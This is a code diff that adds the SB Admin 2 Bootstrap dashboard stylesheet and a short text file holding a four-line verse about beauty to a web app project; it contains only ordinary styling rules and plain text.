+table.dataTable thead .sorting:after {
+    content: "\f0dc";
+    float: right;
+    font-family: fontawesome;
+    color: rgba(50,50,50,.5);
+}
+
+.btn-circle {
+    width: 30px;
+    height: 30px;
+    padding: 6px 0;
+    border-radius: 15px;
+    text-align: center;
+    font-size: 12px;
+    line-height: 1.428571429;
+}
+
+.btn-circle.btn-lg {
+    width: 50px;
+    height: 50px;
+    padding: 10px 16px;
+    border-radius: 25px;
+    font-size: 18px;
+    line-height: 1.33;
+}
+
+.btn-circle.btn-xl {
+    width: 70px;
+    height: 70px;
+    padding: 10px 16px;
+    border-radius: 35px;
+    font-size: 24px;
+    line-height: 1.33;
+}
+
+.show-grid [class^=col-] {
+    padding-top: 10px;
+    padding-bottom: 10px;
+    border: 1px solid #ddd;
+    background-color: #eee!important;
+}
+
+.show-grid {
+    margin: 15px 0;
+}
+
+.huge {
+    font-size: 40px;
+}
+
+.panel-green {
+    border-color: #5cb85c;
+}
+
+.panel-green .panel-heading {
+    border-color: #5cb85c;
+    color: #fff;
+    background-color: #5cb85c;
+}
+
+.panel-green a {
+    color: #5cb85c;
+}
+
+.panel-green a:hover {
+    color: #3d8b3d;
+}
+
+.panel-red {
+    border-color: #d9534f;
+}
+
+.panel-red .panel-heading {
+    border-color: #d9534f;
+    color: #fff;
+    background-color: #d9534f;
+}
+
+.panel-red a {
+    color: #d9534f;
+}
+
+.panel-red a:hover {
+    color: #b52b27;
+}
+
+.panel-yellow {
+    border-color: #f0ad4e;
+}
+
+.panel-yellow .panel-heading {
+    border-color: #f0ad4e;
+    color: #fff;
+    background-color: #f0ad4e;
+}
+
+.panel-yellow a {
+    color: #f0ad4e;
+}
+
+.panel-yellow a:hover {
+    color: #df8a13;
+}

Web App/css/dashboard.css

@@ -0,0 +1,359 @@
+/*!
+ * Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
+ * Code licensed under the Apache License v2.0.
+ * For details, see http://www.apache.org/licenses/LICENSE-2.0.
+ */
+
+body {
+    background-color: #f8f8f8;
+}
+
+#wrapper {
+    width: 100%;
+}
+
+#page-wrapper {
+    padding: 0 15px;
+    min-height: 568px;
+    background-color: #fff;
+}
+
+.text-center {
+  text-align: center;
+}
+
+@media(min-width:768px) {
+    #page-wrapper {
+        position: inherit;
+        margin: 0 200px;
+        padding: 0 30px;
+        border-left: 1px solid #e7e7e7;
+        border-right: 1px solid #e7e7e7;
+    }
+}
+
+.navbar-top-links {
+    margin-right: 0;
+}
+
+.navbar-top-links li {
+    display: inline-block;
+}
+
+.navbar-top-links li:last-child {
+    margin-right: 15px;
+}
+
+.navbar-top-links li a {
+    padding: 15px;
+    min-height: 50px;
+}
+
+.navbar-top-links .dropdown-menu li {
+    display: block;
+}
+
+.navbar-top-links .dropdown-menu li:last-child {
+    margin-right: 0;
+}
+
+.navbar-top-links .dropdown-menu li a {
+    padding: 3px 20px;
+    min-height: 0;
+}
+
+.navbar-top-links .dropdown-menu li a div {
+    white-space: normal;
+}
+
+.navbar-top-links .dropdown-messages,
+.navbar-top-links .dropdown-tasks,
+.navbar-top-links .dropdown-alerts {
+    width: 310px;
+    min-width: 0;
+}
+
+.navbar-top-links .dropdown-messages {
+    margin-left: 5px;
+}
+
+.navbar-top-links .dropdown-tasks {
+    margin-left: -59px;
+}
+
+.navbar-top-links .dropdown-alerts {
+    margin-left: -123px;
+}
+
+.navbar-top-links .dropdown-user {
+    right: 0;
+    left: auto;
+}
+
+.sidebar .sidebar-nav.navbar-collapse {
+    padding-right: 0;
+    padding-left: 0;
+}
+
+.sidebar .sidebar-search {
+    padding: 15px;
+}
+
+.sidebar ul li {
+    border-bottom: 1px solid #e7e7e7;
+}
+
+.sidebar ul li a.active {
+    background-color: #eee;
+}
+
+.sidebar .arrow {
+    float: right;
+}
+
+.sidebar .fa.arrow:before {
+    content: "\f104";
+}
+
+.sidebar .active>a>.fa.arrow:before {
+    content: "\f107";
+}
+
+.sidebar .nav-second-level li,
+.sidebar .nav-third-level li {
+    border-bottom: 0!important;
+}
+
+.sidebar .nav-second-level li a {
+    padding-left: 37px;
+}
+
+.sidebar .nav-third-level li a {
+    padding-left: 52px;
+}
+
+@media(min-width:768px) {
+    .sidebar {
+        z-index: 1;
+        position: absolute;
+        width: 250px;
+        margin-top: 51px;
+    }
+
+    .navbar-top-links .dropdown-messages,
+    .navbar-top-links .dropdown-tasks,
+    .navbar-top-links .dropdown-alerts {
+        margin-left: auto;
+    }
+}
+
+.btn-outline {
+    color: inherit;
+    background-color: transparent;
+    transition: all .5s;
+}
+
+.btn-primary.btn-outline {
+    color: #428bca;
+}
+
+.btn-success.btn-outline {
+    color: #5cb85c;
+}
+
+.btn-info.btn-outline {
+    color: #5bc0de;
+}
+
+.btn-warning.btn-outline {
+    color: #f0ad4e;
+}
+
+.btn-danger.btn-outline {
+    color: #d9534f;
+}
+
+.btn-primary.btn-outline:hover,
+.btn-success.btn-outline:hover,
+.btn-info.btn-outline:hover,
+.btn-warning.btn-outline:hover,
+.btn-danger.btn-outline:hover {
+    color: #fff;
+}
+
+.chat {
+    margin: 0;
+    padding: 0;
+    list-style: none;
+}
+
+.chat li {
+    margin-bottom: 10px;
+    padding-bottom: 5px;
+    border-bottom: 1px dotted #999;
+}
+
+.chat li.left .chat-body {
+    margin-left: 60px;
+}
+
+.chat li.right .chat-body {
+    margin-right: 60px;
+}
+
+.chat li .chat-body p {
+    margin: 0;
+}
+
+.panel .slidedown .glyphicon,
+.chat .glyphicon {
+    margin-right: 5px;
+}
+
+.chat-panel .panel-body {
+    height: 350px;
+    overflow-y: scroll;
+}
+
+.login-panel {
+    margin-top: 25%;
+}
+
+.flot-chart {
+    display: block;
+    height: 400px;
+}
+
+.flot-chart-content {
+    width: 100%;
+    height: 100%;
+}
+
+.dataTables_wrapper {
+    position: relative;
+    clear: both;
+}
+
+table.dataTable thead .sorting,
+table.dataTable thead .sorting_asc,
+table.dataTable thead .sorting_desc,
+table.dataTable thead .sorting_asc_disabled,
+table.dataTable thead .sorting_desc_disabled {
+    background: 0 0;
+}
+
+table.dataTable thead .sorting_asc:after {
+    content: "\f0de";
+    float: right;
+    font-family: fontawesome;
+}
+
+table.dataTable thead .sorting_desc:after {
+    content: "\f0dd";
+    float: right;
+    font-family: fontawesome;
+}
+
+table.dataTable thead .sorting:after {
+    content: "\f0dc";
+    float: right;
+    font-family: fontawesome;
+    color: rgba(50,50,50,.5);
+}
+
+.btn-circle {
+    width: 30px;
+    height: 30px;
+    padding: 6px 0;
+    border-radius: 15px;
+    text-align: center;
+    font-size: 12px;
+    line-height: 1.428571429;
+}
+
+.btn-circle.btn-lg {
+    width: 50px;
+    height: 50px;
+    padding: 10px 16px;
+    border-radius: 25px;
+    font-size: 18px;
+    line-height: 1.33;
+}
+
+.btn-circle.btn-xl {
+    width: 70px;
+    height: 70px;
+    padding: 10px 16px;
+    border-radius: 35px;
+    font-size: 24px;
+    line-height: 1.33;
+}
+
+.show-grid [class^=col-] {
+    padding-top: 10px;
+    padding-bottom: 10px;
+    border: 1px solid #ddd;
+    background-color: #eee!important;
+}
+
+.show-grid {
+    margin: 15px 0;
+}
+
+.huge {
+    font-size: 40px;
+}
+
+.panel-green {
+    border-color: #5cb85c;
+}
+
+.panel-green .panel-heading {
+    border-color: #5cb85c;
+    color: #fff;
+    background-color: #5cb85c;
+}
+
+.panel-green a {
+    color: #5cb85c;
+}
+
+.panel-green a:hover {
+    color: #3d8b3d;
+}
+
+.panel-red {
+    border-color: #d9534f;
+}
+
+.panel-red .panel-heading {
+    border-color: #d9534f;
+    color: #fff;
+    background-color: #d9534f;
+}
+
+.panel-red a {
+    color: #d9534f;
+}
+
+.panel-red a:hover {
+    color: #b52b27;
+}
+
+.panel-yellow {
+    border-color: #f0ad4e;
+}
+
+.panel-yellow .panel-heading {
+    border-color: #f0ad4e;
+    color: #fff;
+    background-color: #f0ad4e;
+}
+
+.panel-yellow a {
+    color: #f0ad4e;
+}
+
+.panel-yellow a:hover {
+    color: #df8a13;
+}

Web App/input.txt

@@ -0,0 +1,4 @@
+people are not as beautiful as they look, 
+as they walk or as they talk.
+they are only as beautiful  as they love, 
+as they care as they share.